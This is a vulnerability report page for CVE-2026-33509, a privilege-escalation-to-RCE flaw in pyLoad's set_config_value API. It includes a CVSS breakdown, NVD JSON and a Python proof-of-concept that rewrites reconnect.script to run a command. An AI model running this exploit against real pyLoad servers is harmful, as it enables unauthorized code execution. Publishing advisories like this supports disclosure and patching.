Security Vulnerability Report
中文
CVE-2026-33509 CVSS 7.5 HIGH

CVE-2026-33509

Published: 2026-03-24 20:16:30
Last Modified: 2026-03-26 20:47:02

Description

pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:* - VULNERABLE
pyLoad 0.4.0
pyLoad 0.5.0b3.dev97 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://localhost:8000" API_ENDPOINT = f"{TARGET_URL}/api/set_config_value" USERNAME = "low_priv_user" # User with SETTINGS permission PASSWORD = "password" def exploit(): session = requests.Session() # 1. Authenticate to the application login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/login", json=login_payload) if login_resp.status_code != 200: print("[!] Login failed") return print("[+] Login successful") # 2. Exploit: Modify 'reconnect.script' to execute arbitrary command # In this case, we create a simple file to prove RCE malicious_payload = { "key": "reconnect.script", "value": "/bin/touch /tmp/pwned_by_pyload" } print(f"[*] Sending payload to change config: {malicious_payload}") exploit_resp = session.post(API_ENDPOINT, json=malicious_payload) if exploit_resp.status_code == 200: print("[+] Payload sent successfully!") print("[+] Wait for the reconnection thread to trigger or trigger it manually to execute code.") else: print(f"[!] Exploit failed with status code: {exploit_resp.status_code}") print(exploit_resp.text) if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33509", "sourceIdentifier": "[email protected]", "published": "2026-03-24T20:16:30.053", "lastModified": "2026-03-26T20:47:02.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97."}, {"lang": "es", "value": "pyLoad es un gestor de descargas gratuito y de código abierto escrito en Python. Desde la versión 0.4.0 hasta antes de la versión 0.5.0b3.dev97, el endpoint de la API set_config_value() permite a los usuarios con el permiso SETTINGS (no-administrador) modificar cualquier opción de configuración sin restricción. La opción de configuración reconnect.script controla una ruta de archivo que se pasa directamente a subprocess.run() en la lógica de reconexión del gestor de hilos. Un usuario con permiso SETTINGS puede establecer esto a cualquier archivo ejecutable en el sistema, logrando la ejecución remota de código. La única validación en set_config_value() es una comprobación codificada para general.storage_folder — todas las demás configuraciones críticas de seguridad, incluyendo reconnect.script, son escribibles sin ninguna lista blanca o restricción de ruta. Este problema ha sido parcheado en la versión 0.5.0b3.dev97."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.4", "versionEndIncluding": "0.4.20", "matchCriteriaId": "AB32D0BF-DFC8-436B-9CE6-58734DFE7153"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*", "versionStartIncluding": "0.5.0a5.dev528", "versionEndExcluding": "0.5.0b3.dev97", "matchCriteriaId": "FCF4830F-E848-4F80-AB82-2040E219E677"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}